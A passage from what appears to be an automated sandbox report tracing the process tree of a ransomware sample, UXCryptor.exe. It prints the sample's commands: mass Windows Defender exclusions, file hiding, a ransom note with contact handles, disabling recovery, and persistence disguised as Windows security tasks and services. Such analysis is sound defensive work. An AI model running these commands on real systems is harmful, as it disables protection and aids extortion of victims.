  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlsx' -ErrorAction SilentlyContinue"
  2⤵
  PID:1404
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlsm' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3288
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlsb' -ErrorAction SilentlyContinue"
  2⤵
  PID:2452
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlt' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1828
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xltx' -ErrorAction SilentlyContinue"
  2⤵
  PID:4932
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xltm' -ErrorAction SilentlyContinue"
  2⤵
  PID:712
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlk' -ErrorAction SilentlyContinue"
  2⤵
  PID:4872
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'doc' -ErrorAction SilentlyContinue"
  2⤵
  PID:5208
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'docx' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2176
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'docm' -ErrorAction SilentlyContinue"
  2⤵
  PID:2756
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dot' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2240
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dotx' -ErrorAction SilentlyContinue"
  2⤵
  PID:2960
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dotm' -ErrorAction SilentlyContinue"
  2⤵
  PID:3236
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rtf' -ErrorAction SilentlyContinue"
  2⤵
  PID:6896
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'txt' -ErrorAction SilentlyContinue"
  2⤵
  PID:1348
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'log' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5128
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ini' -ErrorAction SilentlyContinue"
  2⤵
  PID:6220
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'inf' -ErrorAction SilentlyContinue"
  2⤵
  PID:5580
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cfg' -ErrorAction SilentlyContinue"
  2⤵
  PID:3828
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'conf' -ErrorAction SilentlyContinue"
  2⤵
  PID:6036
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'reg' -ErrorAction SilentlyContinue"
  2⤵
  PID:7032
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'sh' -ErrorAction SilentlyContinue"
  2⤵
  PID:6060
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bash' -ErrorAction SilentlyContinue"
  2⤵
  PID:6224
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'hta' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:436
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pdf' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6844
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pub' -ErrorAction SilentlyContinue"
  2⤵
  PID:800
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppt' -ErrorAction SilentlyContinue"
  2⤵
  PID:788
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pptx' -ErrorAction SilentlyContinue"
  2⤵
  PID:1172
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pptm' -ErrorAction SilentlyContinue"
  2⤵
  PID:2652
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pps' -ErrorAction SilentlyContinue"
  2⤵
  PID:7004
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppsx' -ErrorAction SilentlyContinue"
  2⤵
  PID:2436
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppsm' -ErrorAction SilentlyContinue"
  2⤵
  PID:3656
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pot' -ErrorAction SilentlyContinue"
  2⤵
  PID:4792
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'potx' -ErrorAction SilentlyContinue"
  2⤵
  PID:3772
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'potm' -ErrorAction SilentlyContinue"
  2⤵
  PID:5656
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppa' -ErrorAction SilentlyContinue"
  2⤵
  PID:4816
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppam' -ErrorAction SilentlyContinue"
  2⤵
  PID:356
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xps' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:368
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odt' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:108
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ods' -ErrorAction SilentlyContinue"
  2⤵
  PID:248
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odp' -ErrorAction SilentlyContinue"
  2⤵
  PID:260
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odg' -ErrorAction SilentlyContinue"
  2⤵
  PID:256
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odb' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:592
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jpg' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:692
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jpeg' -ErrorAction SilentlyContinue"
  2⤵
  PID:5116
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'png' -ErrorAction SilentlyContinue"
  2⤵
  PID:2196
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'gif' -ErrorAction SilentlyContinue"
  2⤵
  PID:3384
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bmp' -ErrorAction SilentlyContinue"
  2⤵
  PID:5624
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'tif' -ErrorAction SilentlyContinue"
  2⤵
  PID:2092
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'tiff' -ErrorAction SilentlyContinue"
  2⤵
  PID:2212
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ico' -ErrorAction SilentlyContinue"
  2⤵
  PID:3764
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cur' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:696
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wmf' -ErrorAction SilentlyContinue"
  2⤵
  PID:1624
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'emf' -ErrorAction SilentlyContinue"
  2⤵
  PID:1868
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'svg' -ErrorAction SilentlyContinue"
  2⤵
  PID:2300
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'eps' -ErrorAction SilentlyContinue"
  2⤵
  PID:6228
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'psd' -ErrorAction SilentlyContinue"
  2⤵
  PID:6232
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'webp' -ErrorAction SilentlyContinue"
  2⤵
  PID:3596
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mp3' -ErrorAction SilentlyContinue"
  2⤵
  PID:2624
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'm4a' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6496
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'aac' -ErrorAction SilentlyContinue"
  2⤵
  PID:6276
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'flac' -ErrorAction SilentlyContinue"
  2⤵
  PID:6520
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wav' -ErrorAction SilentlyContinue"
  2⤵
  PID:2628
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wma' -ErrorAction SilentlyContinue"
  2⤵
  PID:2532
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ogg' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6212
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'opus' -ErrorAction SilentlyContinue"
  2⤵
  PID:6288
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mid' -ErrorAction SilentlyContinue"
  2⤵
  PID:6516
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'midi' -ErrorAction SilentlyContinue"
  2⤵
  PID:4152
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mp4' -ErrorAction SilentlyContinue"
  2⤵
  PID:6312
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'm4v' -ErrorAction SilentlyContinue"
  2⤵
  PID:1548
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mov' -ErrorAction SilentlyContinue"
  2⤵
  PID:1016
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'qt' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1560
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'avi' -ErrorAction SilentlyContinue"
  2⤵
  PID:2148
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wmv' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1992
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mkv' -ErrorAction SilentlyContinue"
  2⤵
  PID:6340
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'flv' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6576
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'swf' -ErrorAction SilentlyContinue"
  2⤵
  PID:3832
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension '3gp' -ErrorAction SilentlyContinue"
  2⤵
  PID:4944
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'zip' -ErrorAction SilentlyContinue"
  2⤵
  PID:4748
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rar' -ErrorAction SilentlyContinue"
  2⤵
  PID:1908
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension '7z' -ErrorAction SilentlyContinue"
  2⤵
  PID:1896
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'tar' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3748
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'gz' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:668
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bz2' -ErrorAction SilentlyContinue"
  2⤵
  PID:2644
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xz' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4472
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cab' -ErrorAction SilentlyContinue"
  2⤵
  PID:6488
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'deb' -ErrorAction SilentlyContinue"
  2⤵
  PID:1644
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rpm' -ErrorAction SilentlyContinue"
  2⤵
  PID:2140
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'iso' -ErrorAction SilentlyContinue"
  2⤵
  PID:2616
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'img' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6952
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'apk' -ErrorAction SilentlyContinue"
  2⤵
  PID:6832
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'appx' -ErrorAction SilentlyContinue"
  2⤵
  PID:4660
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ipa' -ErrorAction SilentlyContinue"
  2⤵
  PID:5020
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dmg' -ErrorAction SilentlyContinue"
  2⤵
  PID:4804
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pkg' -ErrorAction SilentlyContinue"
  2⤵
  PID:4092

C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
"C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" --init
1⤵
PID:8552
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:7016
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:18288
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4424
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:11064
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:17556
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:17896
- C:\Windows\SysWOW64\taskkill.exe
  taskkill.exe /f /im Explorer.exe
  2⤵
  - Kills process with taskkill
  PID:16876
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /create /tn "WindowsDefenderUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" /sc onlogon /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1152
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="WindowsSecurityFilter", EventNamespace="root\cimv2", Query="SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LogonSession'"
  2⤵
  PID:18316
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="WindowsSecurityConsumer", CommandLineTemplate="C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe"
  2⤵
  PID:18344
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"WindowsSecurityFilter\"", Consumer="CommandLineEventConsumer.Name=\"WindowsSecurityConsumer\""
  2⤵
  PID:17956
- C:\Windows\SysWOW64\sc.exe
  sc create WindowsSecurityService binPath= "C:\Windows\system32\winsecsvc.exe" start= auto DisplayName= "Windows Security Service"
  2⤵
  - Launches sc.exe
  PID:18180
- C:\Windows\SysWOW64\sc.exe
  sc description WindowsSecurityService "Provides Windows security and update management."
  2⤵
  - Launches sc.exe
  PID:14812
- C:\Windows\SysWOW64\sc.exe
  sc start WindowsSecurityService
  2⤵
  - Launches sc.exe
  PID:17640
- C:\Windows\SysWOW64\reagentc.exe
  reagentc.exe /disable
  2⤵
  PID:18040
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:' -ErrorAction SilentlyContinue"
  2⤵
  PID:18352
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionPath 'E:' -ErrorAction SilentlyContinue"
  2⤵
  PID:17992
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionPath 'F:' -ErrorAction SilentlyContinue"
  2⤵
  PID:10412
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'exe' -ErrorAction SilentlyContinue"
  2⤵
  PID:18176
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dll' -ErrorAction SilentlyContinue"
  2⤵
  PID:17608
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'msi' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:18336
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'sys' -ErrorAction SilentlyContinue"
  2⤵
  PID:16396
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'drv' -ErrorAction SilentlyContinue"
  2⤵
  PID:18404
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ocx' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:18032
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cpl' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:17384
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'scr' -ErrorAction SilentlyContinue"
  2⤵
  PID:17680
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bat' -ErrorAction SilentlyContinue"
  2⤵
  PID:17876
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cmd' -ErrorAction SilentlyContinue"
  2⤵
  PID:17528
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'com' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:18112
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'vbs' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3096
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'vbe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:18296
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'js' -ErrorAction SilentlyContinue"
  2⤵
  PID:17444
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jse' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:17480
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wsf' -ErrorAction SilentlyContinue"
  2⤵
  PID:17892
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wsh' -ErrorAction SilentlyContinue"
  2⤵
  PID:18268
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ps1' -ErrorAction SilentlyContinue"
  2⤵
  PID:17648
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ps2' -ErrorAction SilentlyContinue"
  2⤵
  PID:17844
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'psm1' -ErrorAction SilentlyContinue"
  2⤵
  PID:18144
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'psd1' -ErrorAction SilentlyContinue"
  2⤵
  PID:17796
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jar' -ErrorAction SilentlyContinue"
  2⤵
  PID:17828
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'java' -ErrorAction SilentlyContinue"
  2⤵
  PID:18436
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'class' -ErrorAction SilentlyContinue"
  2⤵
  PID:18444
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'py' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:18452
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
